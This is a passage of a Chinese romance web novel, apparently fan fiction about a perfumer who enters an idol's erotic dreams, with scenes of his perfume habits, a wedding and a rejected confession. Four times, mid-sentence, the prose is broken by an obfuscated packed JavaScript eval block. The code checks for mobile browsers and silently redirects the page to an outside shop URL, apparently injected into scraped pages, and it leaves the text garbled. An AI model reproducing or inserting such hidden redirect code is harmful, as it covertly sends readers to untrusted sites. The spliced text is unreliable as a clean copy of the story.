但她也知道,不只是梦。那是尹净涵的梦,她入了他的梦,而且是以她自己,文世雅,进入那个梦里,和他面对面,和他…… 她不敢再想下去了。 文世雅没有去工作室,她在洗漱之后坐在客厅里坐了一个小时,喝了半杯冰水,然后拿起手机在IG发了一条帖子,表示今天身体不舒服,不开业了,让想要今天来工作室的客户另寻时间再来。 随即她把手机扔在沙发上,靠着靠垫,闭上了眼睛。 她需要彻彻底底想清楚几件事。 第一,梦里的那个女人是她自己吗? 她仔细回忆梦里的每一个细节。梦里的她会随着那些感觉抬手搂着尹净涵的脖子,腿也会自动缠在他的腰上。这些动作不是她控制的,但确实是那个身体做的。她一开始以为自己是附在了一个梦境人物身上,可看到跟自己工作室一模一样的装饰,她才产生了梦里那个女人是她自己的想法。 文世雅低头看了看自己的胸口,梦境里胸口被人潮湿亲吻的触感还残留在皮肤上。 那个女人是她自己,不是别人。 第二,为什么这次不一样? 以前她入客户的梦,都是旁观者视角,能看到画面,能感受到情绪,但不会参与其中。 这次完全不一样。 她是以自己的视角出现在梦里,她的身体能做出反应,虽然是身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377967|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的本能反应,不是她主动控制的。而且她和尹净涵有互动,不是单方面的观察。 第三,也是最让她不安的。为什么梦里的感觉会带到现实中来? 她抬手摸了摸自己的脖子,梦里尹净涵的嘴唇在那里停留了很久,温热的触感。现在那里什么都没有,但她的皮肤还记得,那些亲吻就像是被烙印在了皮肤上。 还有大腿和腰的酸软,手指的颤抖。 这些都不是心理作用,而是实实在在的身体反应。 她需要确认一件事,尹净涵昨晚是不是用了香水? 但答案她甚至都不用问都能知道,他一定用了。 如果不是他用了香水,她不会入梦。 能力没有消失,它还在,而且比以前更加强烈了。 其实她也在想,是不是昨晚根本就不是尹净涵的梦,而是她自己做的春.梦呢? 文世雅很快就否决了这个想法,她现在身体残留的反应和触感,都在切切实实地告诉她,不是她自己做的春梦,而是她的能力让她进入了尹净涵的梦境。 但为什么会变成这样? 是因为尹净涵的梦太强烈了,把她的意识吸进去了?还是因为她自己的原因,她对尹净涵有某种她自己都没意识到的感觉,所以在入梦的时候被拉了进去? 文世雅不愿意想第二个可能性。 她是调香师,他是客人。她给他调制了香水,他付了钱,这是交易。她不能因为一个梦就想那些乱七八糟的事。 “喵~” “喵呜~” 两声轻柔的猫叫唤回了文世雅发懵的思绪,她抬头望去,沙发靠手上蹲坐着两只一黑一白的猫咪。 这是文世雅养的猫咪,一只叫黑团,一只叫白团。 这两只猫是她在某次回爸妈家在后花园里看到的,爸妈说这两只猫是经常来后花园玩耍的,他们之前也去问过街坊邻居有没有人养了这两只猫,结果街坊邻居都说没有。 他们两个人又都不是爱养宠物的人,所以也只能带它们去宠物医院绝育再放生,然后在它们偶尔来后花园玩的时候喂一些剩菜剩饭。 刚好文世雅来看他们,他们知道自家女儿很喜欢小动物,所以就问了她要不要养。 文世雅看着这两只在草丛里追逐奔跑的猫咪,心动不已,最终还是把它们抱回家收养了起来。 黑团可能是看自家主人坐在沙发上一直不动,干脆从沙发靠手上轻松地跳到了文世雅的腿上,歪头蹭了蹭她的胸口。 白团也随着黑团一起跳了上来,只不过没有蹭她,而是干脆爬伏在了她的膝盖上。 文世雅静静地摸着两只猫咪毛茸茸的身体。 她突然想到一个问题,尹净涵的梦里为什么会有她? 以前她入客户的梦,梦到的都是客户自己的记忆和幻想,从来没有一个客户的梦里出现过她。 但尹净涵的梦里出现了,而且不只是出现,她还是主角,整个梦都是关于她和他的。 文世雅的心跳又快了起来。 他为什么会梦到她?是因为他上次来了工作室,所以日有所思夜有所梦?还是因为别的什么? 她想起了上次在工作室里他观察她的眼神,其实当时她有所察觉了,但那时只认为他是好奇,所以没当回事。 或者说,她刻意没当回事。 他是客户,她是调香师,两个人之间应该保持距离。她一直都是这么做的,对所有客户都这样。 但现在她不确定了。 如果真的…… “唔。”文世雅把脸埋进黑团的毛发里,闷哼了一声。 不知道,她什么都不知道。 7.恢复正常 第二天,文世雅即使身体还有一点点酸软,还是决定去工作室。 到了工作室,隔壁店铺的老板正好在门口休息,看到她,问了一句:“世雅xi,身体好点了吗?” “好多了。”文世雅笑了一下,打开工作室的门,将营业牌翻到[正在营业]那一栏。 一切都很正常。柜台上的多肉还是胖乎乎的,靠墙展柜上的香水瓶排列整齐,柜台和小沙发也和她离开的时候一样。 只是…… 她站在摆在中间的玻璃展柜前,心跳突然快了起来,甚至都不敢伸手去摸。 就是这里,梦里的场景就是这里。 在梦里,她不是在工作摆放香水瓶,而是被压在…… 不,不要再想了。 文世雅走到柜台后面,给自己泡了一杯咖啡,企图用咖啡的酸涩和苦涩压下那些旖旎的思绪。 她把咖啡杯放下,深呼吸了几次。 冷静冷静,你是调香师,你是专业人士,一个梦而已,不会改变任何事。 可如果以后每次都是这样呢? 这个念头冒出来的时候,文世雅的手指停住了。她端着咖啡杯,愣在那里。 这个想法其实在尹净涵梦里的时候,她就隐隐约约有过担忧,但当时情况太特殊激烈了,容不得她多想就被拉入了情欲的漩涡无法自拔。 因为她的能力只会在客户第一次使用定制香水的时候发挥作用,所以她现在并不担心以后还会再次梦到和尹净涵的那种春.梦,除非尹净涵重新定制一款新的香水。 可不再梦到尹净涵的梦,不代表不会梦到新客户的梦境。 如果以后每次新客户第一次使用定制香水,她都会以这种参与者的第一视角方式进入梦境,和梦里面的人互动吗? 文世雅越想越觉得可怕,赶紧打断了这个恐怖的想法。 她双手交叉放在膝盖上,用力握了握,指甲陷入掌心,有一点疼。这种疼让她觉得踏实,让她觉得现实是真实的,梦是假的。 文世雅安慰自己,也许只是和尹净涵的梦是特殊的罢了,不要害怕,不要多想。 一天忙碌结束,文世雅回到家,早早就躺床上休息了,几乎是一瞬间就陷入了沉睡。 没有梦,什么都没有。 早上醒来的时候,文世雅躺在床上,花了几秒钟确认了自己昨晚睡得很好。 她松了一口气,觉得整个人都轻了。 完完全全属于自己的睡眠,果然是最舒服的。 文世雅坐起来,伸了个拦腰。腰不酸了,腿也不软了,身体恢复了正常,就像前天那场梦从来没有存在过。 她下了床,走到窗前拉开窗帘。 阳光照进来,暖洋洋的,又是一个好天气。 * 自从那天晚上做了那个关于文世雅的梦之后,尹净涵的生活就被一种他自己都不愿意承认的别扭感包裹着。 那种别扭感不是剧烈的,不是那种会让人坐立不安的程度,而是一种很轻微的、藏在日常缝隙里的东西。这些东西很小,小到他不觉得任何人会发现,甚至小到他有时候自己也意识不到。 但他确实在做。 例如那场梦之后,尹净涵就把那瓶香水放进了抽屉里。 不是刻意的。 早上醒来的时候,他站在床头柜前面,看着那瓶定制香水,手伸出去又缩回来了。 他告诉自己今天不用,换个牌子试试。抽屉里还有几瓶品牌方寄来的赠品,一直没拆过,刚好可以用。 他随手拿了一瓶,拆开包装,在脖子上喷了两下。很浓的柑橘调,酸涩,冲鼻,和他习惯的味道完全不一样。 尹净涵皱了皱眉,但没有换回来,直接出了门。 那天工作很忙,他从一个地方感到另一个地方,车里、化妆间、摄影棚,到处都是不同的气味。他自己的香水味被这些气味盖住了,到晚上的时候他已经闻不到自己身上是什么味道了。 那天没有做梦,或者说,梦了什么但醒来之后完全不记得了。 之后几天,他都习惯性地选择了其他款式的香水,而那款定制香水一直躺在抽屉里,盖子拧紧了,外面什么都闻不到。它和其他那些不常用的香水挤在一起,慢慢地被推到最里面。 尹净涵没有刻意去想这件事,他只是每天早上顺手拿起别的香水,喷上、出门,根本不需要理由也不需要思考。 夫圣宽注意到了。 “哥,你之前定制的香水不用了吗?”有一天在商务车上,夫圣宽坐在旁边的位置,侧头问他。 “嗯,换着用。”尹净涵说。 “那款其实挺好闻的,很适合你。” “过阵子再换回来。” 夫圣宽没再说什么,转过头去继续看手机。 接下来的日子照常过,通告一个接一个,打歌即将进入最后阶段。 尹净涵忙得连睡觉得时间都不够,更没功夫去想一瓶香水的事。 有时候夫圣宽会问:“哥,那家调香工作室还在开吧?别等我想去定制的时候就关店了。” “还在开。”尹净涵每次都会打开看一下文世雅的工作室IG号,然后回答他。 夫圣宽得到自己想要的回答,就转头放心去忙自己的事了。 尹净涵发现自己其实并不需要那瓶香水,他有十几瓶别的香水,随便拿一瓶喷上,照常出门,照样工作。极少人发现他换了味道,或者说,没有人那么在意香水。 那个梦也慢慢地淡了。 刚开始那几天,他偶尔会想起来,但随着时间流逝,他几乎不再想了。 原来忘记是这么容易的事。 尹净涵觉得这个结果挺好的,现在梦淡了,他也不用再纠结了,一切回到正轨。 有一天晚上,尹净涵为出国的通告收拾行李,在翻抽屉的时候翻到了那瓶定制香水。它被推到最里面,旁边压着一盒还没拆封的面膜和一包过期的湿巾。 他把它拿出来,放在手心里看了看,瓶身还是非常干净的。 尹净涵拧开盖子闻了一下,味道依旧浓郁。他犹豫了一下,把盖子拧回去,放到了行李箱里,但同时还拿了另一瓶香水。 出国后,因为SEVENTEE ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381796|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' N属一线组合,粉丝也多,所以公司也有足够的资金让成员们在酒店各住一间房了。 这次夫圣宽的房间就在尹净涵的隔壁,所以吃夜宵的时候也会来串门。 这天来串门吃夜宵,夫圣宽的手机快没电了,又懒得去隔壁自己的房间拿,便向尹净涵借。 尹净涵自己的手机都在充电,所以只能让他去他行李箱找另外一根备用的充电线。 夫圣宽翻行李箱的时候,正好把那瓶自从带出国后就再没动过的定制香水翻出来了。 “哥,这瓶香水你怎么不用了?”夫圣宽看了看摆在桌上的另一瓶香水,晃了晃手里的那款定制香水。 “忘记了。”尹净涵在沙发上坐着吃面,头也没抬,含含糊糊的,“一忙起来就只顾着用顺手放在桌上的那瓶了。” 夫圣宽拧开盖子闻了一下:“还是这个味道好闻。你之前用的那些,都不如这个。” 现在爱豆为了注意形象以及给粉丝留下深刻印象,基本都会买香水在平时使用,所以在香水方面也有自己的心得,夫圣宽也是如此。 尹净涵没接话。 夫圣宽拿到自己想要的充电线,就把香水随手搁在了行李箱旁边的茶桌上。 再次出门时,尹净涵下意识地想拿前几天用的那款香水,结果夫圣宽说的话在他脑子里转了几圈,[你之前用的那些,都不如这个]。 他转身,放弃了这瓶香水,反而拿起了被夫圣宽随手放在茶桌上的定制香水,在手腕和脖子上各喷了两下。 所有的味道都在,和第一次使用的时候一模一样,闻起来无比舒服。 这是他自己的味道,是他定制的、属于他的味道。 用了这么多年香水,他从来没有对任何一款产生过这种感觉。不是好闻不好闻的问题,也不是合适不合适的问题。其他香水都是穿在身上的衣服,好看,但脱了就脱了。这瓶不一样,它像是专门为他诞生于世界的,喷在皮肤上,不是覆盖住自己的味道,而是融合。 尹净涵摇头失笑,自己花了不菲的价钱定制,之前居然就因为一场春.梦放着它不用,换了那么多别的香水,现在想想挺傻的。 回国之后,尹净涵开始正常使用这款定制香水,甚至会随身带在包里,随时使用。 一次次使用,他发现自己都没有再梦到过如那天梦到的春.梦,就用得更加大方了,完全不担心会用得太快。 因为文世雅说过,用完了可以再去配。而他现在对她的别扭感和尴尬感早就随着正常使用定制香水而恢复正常了,所以并不会为再次去找她调配香水而不自在。 定制香水用得多了,这个味道开始成为他的标志性体香了,甚至有一次成员跟他开玩笑,只要闻到这个香味,就知道是他来了。 不仅是成员们已经习惯了他这个香味,就连尹净涵都习惯了,其他香水都被搁置在床头柜或者抽屉里没用。为了不浪费香水,他甚至会把其中一些没用过的或者只用了一两次的香水送给家人、亲戚和朋友。 同时他看着玻璃瓶日渐减少的香水液体,开始计划着什么时候再去找文世雅配一瓶。 8.就不谈恋爱 婚礼请柬是一个多星期前寄到的。 淡粉色的信封,里面一张厚卡纸,印着新郎新娘的合照和婚礼时间地点。 新娘是文世雅高中时期的班主任,姓方,教数学的,带了他们三年。请柬上的方老师笑得很好看,和记忆里那个总穿着灰扑扑外套、拿着三角尺在黑板上画图的女人判若两人。 她近段时间太忙,差点忘了这件事。直到婚礼前两天,方老师亲自发了一条讯息过来:【世雅,星期六的婚礼你来不来?给我个准数,我好安排座位。】 文世雅则回复:【我会来的,麻烦老师了。】 星期六中午,她关了店,回家换了一件衣服。米白色的针织裙,外面套一件浅黄色的薄毛衣,头发放了下来,比平时稍微打扮得好看了一些。 婚礼在某知名酒店,下午三点开始。 文世雅到的时候,大厅里已经坐了很多人。她在签到处递了用白纸包起来的礼金,拿了喜糖,然后被引到靠角落的一桌。 桌上已经坐了两个人,都是生面孔。 她坐下来,把包放在旁边,拿起桌上的菜单看了一眼。 旁边的一个女人转过头来,盯着她看了几秒,然后叫了一声:“文世雅?” 文世雅抬头,认出了对方。是高中同学朴多英,坐她后排的,当年没什么交集,但也不算陌生。 “好久不见。”文世雅说。 “天哪,得有好几年没见了吧?”朴多英的声音很大,旁边几个人都转过头来看,“你现在做什么?” “开了一家工作室,调香水的。” “调香水?这么厉害?”朴多英的眼睛瞪得圆圆的,“那不就是电视剧里那种?客人来了你给他们调专属的味道?” “差不多。”文世雅不想在这个话题上展开太多,但朴多英显然很有兴趣,又追问了好几个问题,无疑就是怎么学的,挣不挣钱,有没有给名人调过。她简单回答了几个,把话题岔开了。 桌上的人慢慢多了起来。有几个人文世雅认出来了,是隔壁班的,叫不上名字。还有两个是她自己班的,一个叫韩太闰,一个叫郑路奂。韩太闰毕业后做了销售,整个人胖了一圈,说话的时候中气十足。郑路奂瘦瘦的,戴着一副金丝眼镜,在银行上班。 “世雅xi,你现在在哪儿工作呢?”韩太闰隔着座位问她。 “开了个小工作室。” “什么工作室?” “调香工作室。” “哈,搞艺术的啊。”韩太闰笑着说,旁边几个人也跟着笑。 文世雅笑了笑,没接话。 婚礼开始了。方老师穿着一身白色婚纱,挽着新郎的手走进来。音乐响起,灯光暗下来,所有人都看向红毯。 文世雅坐在角落,看着方老师从她身边走过。头发盘起来了,化了妆,看起来年轻了十岁。脸上的笑是真的,眼睛亮亮的,和当年在讲台上训他们的时候完全不一样。 婚礼仪式不长,交换戒指,倒香槟,双方父母讲话,然后开始上菜。文世雅低头吃菜,偶尔和旁边的人聊几句。朴多英坐在她右边,一直在说话,从工作聊到房子,从房子聊到恋爱。 “你结婚了吗?”朴多英突然问。 “没有。” “有男朋友吗?” “没有。” 朴多英的表情变了,那种带着一点同情又带着一点好奇的表情,文世雅在太多人脸上见过。 以前读高中的时候,身边或多或少都会有同学谈恋爱,有跟学长学姐的,也有跟同年级的,还有跟其他学校的。而文世雅则是那个高中三年从来不谈恋爱的人。 后来读了大学,谈恋爱的人更多了,可以说几乎都在谈恋爱。而文世雅仍然是那个异类。 现在工作了,她还是一次恋爱都没有谈过。 现在韩国年轻人都不太愿意太早结婚,推崇晚婚晚育。但晚婚晚育不代表不恋爱,可以说是不能停止恋爱。用新闻的一句话说就是,现在的年轻人都喜欢通过恋爱产生的多巴胺来刺激自己努力工作挣钱。 而在身边认识的人一次又一次恋爱的衬托下,她这个母胎单身就显得格外不合群。 “怎么不找呢?你条件也不差啊,长得这么漂亮。”朴多英问。 “没遇到合适的。”文世雅切了一块牛肉,放进嘴里,用咀嚼来中断这个话题。 但朴多英显然不打算放过她。旁边的韩太闰也听到了对话,把脑袋凑过来。 “世雅xi还没男朋友呢?”他问朴多英,声音大得像在开会。 “还没呢。”朴多英说,语气里带着一种奇怪的遗憾。 “我们班单身的还多吗?”韩太闰环顾了一周,“我记得姜瑞熙结婚了,赵元彬也恋爱了,徐河旻女儿都好几岁了。” “还真是。”朴多英掰着手指头数。 文世雅听着他们聊天,继续吃菜。她不太在意这些话题,每次因为各种机缘和同学聚到一起都会经历一遍,早就习惯了。 桌上的话题没有停止过,韩太闰在炫耀他去年全贳的房子,朴多英在抱怨自己男朋友不够关心她。郑路奂不说话,低着头吃饭,偶尔抬头附和两句。 文世雅安安静静地吃完了面前的菜。她觉得这些话题离自己很远,她现在住在月租房,父母提前给她买了房子,但那个房子离工作室太远,所以她没搬进去住。她没有恋爱,所以没有男朋友要抱怨。 她现在最在意的就是那间调香工作室。 跟那些到大公司的上班族相比,她的工作室可能小得拿不出手,但她也不觉得丢人。 酒过三巡,桌上的人开始走动,互相敬酒寒暄。 文世雅不喝酒,端着一杯果汁,站起来去给方老师敬酒。方老师坐在主桌上,脸已经喝红了,看到她的时候愣了一下,然后笑了。 “世雅,你都长这么大了。”方老师拉住她的手,上下打量,“眼睛还是那么圆润润的,真可爱。” 方老师并不是为了应酬说的好话,文世雅是双眼皮杏眼,所以才会那么圆润润的,鼻子高挺,鼻头圆润,嘴唇饱满,皮肤又白又嫩,完全是个温润大美人。 这也是为什么方老师这么喜欢她,邀请她来参加婚礼的原因,除了读书期间她对老师尊重又好学,还因为她长得招人喜欢。 “谢谢夸奖。”文世雅笑了,“方老师,恭喜您。” “谢谢,谢谢。”方老师拍了拍她的手背,“你一个人来的?” “嗯。” “男朋友没带来?” “还没有呢。” 方老师的表情变了一下,但很快又笑了:“不急,慢慢找。你这么好的条件,肯定能找到合适的。” 文世雅笑了笑,喝了口果汁,回到自己的座位上。 酒席快结束的时候,朴多英拉着她加了KAKAOTALK,说以后常联系。韩太闰也加了,表示有机会去她工作室看看。郑路奂最后一个加,加完之后看了她一眼,欲言又止。 文世雅没在意,收拾好东西准备走。 “世雅xi。”郑路奂叫住了她。 她回头,郑路奂站在她身后,手里拿着手机,表情有点紧张。 “能不能……单独说几句话?” 文世雅看了他一眼。郑路奂在高中时候就是个安静的人,成绩中上,不爱说话,存在感很低。她对他的印象仅限于“班里的同学”这个层面,除此之外什么都没有。 “可以。”她说。 两个人走到酒店大堂的角落,旁边有一颗很大的绿植,挡住了大部分视线。 郑路奂站在她面前,比她高了半个头,穿着黑色的西装,领带打得规规矩矩。 “那个……”郑路奂开口的时候声音有点抖,“世雅xi,我想跟你说件事。” 文世雅等着。 “我从高中的时候就……”他停了一下,深呼吸一口气,“我就喜欢你了。” 大堂里很安静,只有前台工作人员说话的声音和远处传来的音乐声。 文世雅站在原地,看着他,没有接话。 “那时候不敢说。”郑路奂继续说,语速比平时快了很多,“你长得漂亮,人又安静,喜欢你的人也很多,我觉得自己配不上。后来毕业了,各奔东西,也没机会说。今天看到你,觉得再不说的话,可能以后就更提不起勇气说了。” 他说完了,站在那里,等着文世雅的回应。 文世雅沉默了几秒。 “路奂xi。”她说,声音很平静,“谢谢你告诉我这些。但是对不起,我没有那个意思。” 郑路奂的表情没有太大的变化,好像早就知道会是这个答案。他点了点头,嘴角动了一下,像是在笑,又像是在忍什么。 “我就知道。”他说,“没事,说出来就好多了。” 两个人在绿植旁边站了一会儿,都没有说话。大堂里有人推着工作车走过,轮子在地板上发出咕噜咕噜的声音。 “你那个调香工作室,在哪里?”郑路奂问。 “在延南洞很多人去的那条街。” “有空我去看看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382403|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好。” 郑路奂点了点头,转身走了。走了几步又回过头来,朝她挥了一下手,然后快步往宴会厅走。 文世雅站在原地,看着他的背影消失在宴会厅的门后,随即转身往另一个方向走。 走到停车场的时候,手机震了震。 是朴多英发来的信息:【世雅,刚才郑路奂找你有什么事吗?】 文世雅看着这条信息,没回。她把手机放进包里,上了出租车,报了工作室的地址。 其实她自己是有车的,但今天是来参加婚礼,虽然自己不喝酒,但为了以防万一方老师叫她喝,所以干脆没开车过来。也幸好方老师依旧是那个方老师。 在出租车上,文世雅脑子里是郑路奂站在绿植旁边说的那些话。 高中的时候就喜欢了,那得是多少年前的事了?七八年?八九年? 一个人能喜欢另一个人那么久,不说出来,就放在心里,今天终于说出来了,被拒绝了,然后说[没事,说出来就好多了]。 真的就好多了吗?文世雅不太确定,但她知道自己没有做错。 不喜欢就是不喜欢,不能因为对方等了很久就勉强答应,这种事情她做不来。最重要的是,郑路奂的性格不是她喜欢的类型。 她自己就已经够安静温和了,再来个老实安静的男朋友,她觉得生活反而会过得更像死水。 出租车停在工作室门口,文世雅付了钱下车,解锁推开门走进去。 推开门的瞬间风铃响了,多肉还在柜台上,一切都没变。 她换了衣服,洗了手,走进调香室,坐下来开始翻着配方本进行下一步工作。 最近有几位旧客户来续配,但距离上一次调制已经过去了很久,她有点忘记了这些香水配方,所以得赶紧翻翻配方本回忆一下。 翻看了没一会儿,手机响了又响。这次是朴多英打来的语音电话。 文世雅犹豫了一下,还是接了。 “世雅。”朴多英说话的背景里还有酒店的人声,“你走了?我还想找你聊会儿呢。” “嗯,工作室有事,就先走了。” “哦哦,那行吧。”朴多英顿了一下,“对了,郑路奂刚才找你说什么呢?我看他回来的脸色不太对。” 文世雅沉默了几秒,不太想把郑路奂的隐私告诉她:“没什么,我们就是随便聊了几句。” “应该不是吧。”朴多英语气怀疑,“我记得你们高中也不熟啊,再加上工作不相干,应该没什么可聊的吧?” “真的就是随便说了几句话,你不要想太多了。” 可能是听出了文世雅的语气有点烦躁不耐,朴多英随即把话题转到了别的上面:“行行行,我不问你了。对了,你现在没有男朋友,我这边正好有个朋友也还在单身,要不我给你们搭个桥认识一下吧。” 说到这个,朴多英就有些兴奋了起来:“我那位朋友,人真的很不错,现在在首尔一家公司当程序员。平时也不抽烟喝酒的,人长得也不错。你看,你要不要……” 文世雅深呼吸一口气,态度坚定:“多英,我真的不需要你们介绍男人给我。” “为什么?难不成你要一直单身下去吗?” “要不要单身,也是我自己的决定。如果遇到了那个真的很适合我的人,我自然会脱单。可如果遇不到,单身也没什么不好的。”或许是为了说服朴多英不要再干涉自己的决定,所以文世雅一口气说了一大段的话。 朴多英叹了口气:“行吧行吧,你自己的事你自己决定。我就是觉得可惜,你人条件多好啊,你就是太挑了。” “多英——” “好了,我不再说了。”朴多英说,“有空出来吃饭啊,带上你工作室的香水给我闻闻。好闻的话说不定我也去光顾你家工作室了。” “好。” 挂了电话,文世雅把手机放了回去,想起了朴多英说的话,[你就是太挑了]。 她挑吗?她并不觉得。她只是没有遇到那个让她想靠近的人。感情这件事不是买水果,不能因为看着新鲜就买回家。它需要一种说不清的东西,可能是契机,可能是缘分,也可能是某种让她觉得“就是这个人了”的瞬间。 她没有遇到过,至少在今天之前没有。 但脑子里突然闪过一个人的脸—— 那个唯一和她有过肢体交缠的人,即使只是在梦里。 文世雅愣了几秒,随即无奈失笑。她到底在想什么啊,肢体交缠? 那只是个梦啊…… 9.第二场春 文世雅是在一阵嘈杂声中醒来的。 还没睁眼的时候,她就能感觉到自己的身体正躺着,但不是躺在床上。身下的东西比床要硬,像是一张沙发,皮面的,凉凉的,贴着后颈部位的时候有一点冰。 嘈杂声清晰了一些,但仍像是隔着门有些闷闷的, 文世雅睁开眼睛。 天花板不高,嵌着一排日光灯,白得刺眼。她转过头,看到旁边挂着一排衣服,五颜六色的,都是舞蹈演出服。对面是一面巨大的化妆镜,周围亮着一圈小小的灯泡。 镜子里面映出一个人。 一个女人,躺在一张黑色皮沙发上,头发散开,垂在沙发扶手外面。穿着一身黑色的打歌服,短上衣,高腰裤,银色的链条在腰间晃了一下。脸上化着妆,眼线拉得很长,嘴唇是哑光的红色。 那是她自己的脸。 文世雅坐起来,动作太快,头有点晕。她扶着沙发的扶手,等那阵眩晕过去,然后抬头看向镜子。 镜子里的女人也坐起来了。文世雅抬手摸了一下自己的脸,镜子里的人也抬手摸了一下脸。 是她自己,完完全全的自己。 文世雅不由有些紧张了起来,这个情况,怎么跟那天进入尹净涵的春.梦差不多? 没等她反应过来,待机室的门开了,一个人走了进来。 他也穿着打歌服,黑色的西装外套,里面是深V的丝绸衬衫,脖子上挂着一条细细的银链子。头发做了造型,露出额头,眉毛化得很英气,眼尾有一点点上挑的眼线。嘴唇上有一点颜色,不浓,但让他的嘴唇看起来比平时更饱满。 他站在那里,看着她。 文世雅的呼吸停了一秒。 她见过现实中的尹净涵,也见过隔着屏幕在舞台上的他,但从来没有见过这样的他。 尹净涵是开扇型双眼皮,长圆眼。他的鼻梁高度适中,鼻头略圆,鼻翼微宽。唇峰是M型的,有着饱满唇珠。同时脸还小,下颌线流畅。这种五官和脸型,大多数时候都是化着温柔的、淡淡的妆容。 极少会有现在这种突出凌厉的妆容,显得他更锋利也更耀眼。 “你怎么在这?”他问。声音和平时不一样,更低沉,带着一种她没听过的语气。 文世雅张了张嘴,不知道该说什么。她是调香师,坐在自己工作室调香水的人,但在这个梦里,她显然不是那个身份。 “找你。”她听到自己说。 声音是她自己的,但语气不是。更软、更慢,带着一种她平时不会用的尾音。 尹净涵更往里走,把门关上了。 门锁“咔嗒”一声,很轻,但在安静的待机室里格外清楚。 “经纪人说了,不让男女爱豆串门。”他说,语气里却没有拒绝的意思。 文世雅感觉到自己的身体从沙发上站起来,朝他走了一步。不是她控制的,是梦里的这个“她”自己的动作。 “我想你了。”她再次听到自己说。 这句话说出来的时候,文世雅的脸烧了一下。她从来没有对任何人说过这种话,即使这是在梦里,她还是觉得耳根发烫。 尹净涵看着她,眼神变了。不是那种在工作室时礼貌的、保持距离的眼神,是一种更深的更热的东西。 他走过来,走到她面前,两个人之间的距离只剩下半步。 “你知道今天有打歌直播。”他的声音压得很低。 “知道。” “有很多镜头。” “知道。” “那你还来我的待机室?” “就是想你了。”她重复了一遍,抬起头看着他的眼睛。 这句话一出,真正的文世雅发现自己的心跳正在加快,快得像要从胸膛里跳出来。 两个人之间的距离很近,让她已经能够清晰闻到了他身上的味道。有着她调制的专属于他的香水味,但这个香味还夹杂着其他东西,是发胶的味道,化妆品的味道,还有他身体本身的热度。 尹净涵抬起手,手指碰到了她的脸。 他的指尖有一点凉,贴在她发烫的脸颊上,温差让文世雅不自觉地偏了一下头,把脸往他手心里蹭了蹭。 天哪……文世雅无声哀嚎,她怎么就控制不住梦里这个自己的动作啊。 “很漂亮。”尹净涵说着,拇指在她脸颊上轻轻擦了一下。 文世雅的嘴角翘了起来,眼睛微微眯起,脸颊往他的掌心里又陷了一点。 尹净涵的手指从她的脸颊滑到下巴,轻轻地托起来。然后拇指放在她的下唇上,按了一下又松开。哑光的口红在他的指腹上留下了一个淡淡的红色印记。 “这个颜色很配你。”他勾唇。 文世雅的呼吸瞬间就乱了。 尹净涵的声音更低了,低到像是只说给她一个人听的:“待会儿你打歌直播的时候,别这样看着镜头。” “怎样看?” “就现在这样。” 文世雅不知道[现在这样]是什么样,她看不到自己的表情,但隐隐约约能感觉得到她的眼睛应该是半睁半闭的,瞳孔可能散开了一点,嘴唇微微张开。 因为她觉得自己整个人的状态就跟泡在温水里一样,所有的肌肉都放松了,只剩下心跳越来越快。 她沙哑地说:“那你别看我。” 尹净涵很短促地笑了一下,手又从她的下巴滑到了后颈,手指插进她的头发里。 “不看你看谁?”他轻笑着说,然后低下头,嘴唇贴上了她的。 这个吻和上一次梦里的不一样。上一次刚开始是小心翼翼温柔试探的,后面才会加重力度。而这次则一开始就带着一种急切的、压抑了很久的感觉。 他的嘴唇压上来的时候,文世雅的脑子里一片空白,只能呆愣愣地任由他动作。 尹净涵的手在她后颈收紧,把她往上托,让她不得不踮起脚尖,手臂也抬起来搂住了他的臂膀和脖子。 尹净涵的一只手从她的后颈滑到后背,指尖隔着打歌服的布料在她后背的肌肤上画了一条线。 文世雅弓了一下身体,整个人往他身上贴,两个人的胸口紧紧贴着互相传递温度。 他们就这么贴着站了一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396134|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴唇没有分开,呼吸混在一起。 尹净涵另一只手停在她的腰上,隔着薄薄的布料揉了一下。 文世雅的身体抖了一下,从腰眼到后脑勺都一阵酥麻。 她忍不住呻.吟出声:“别……” 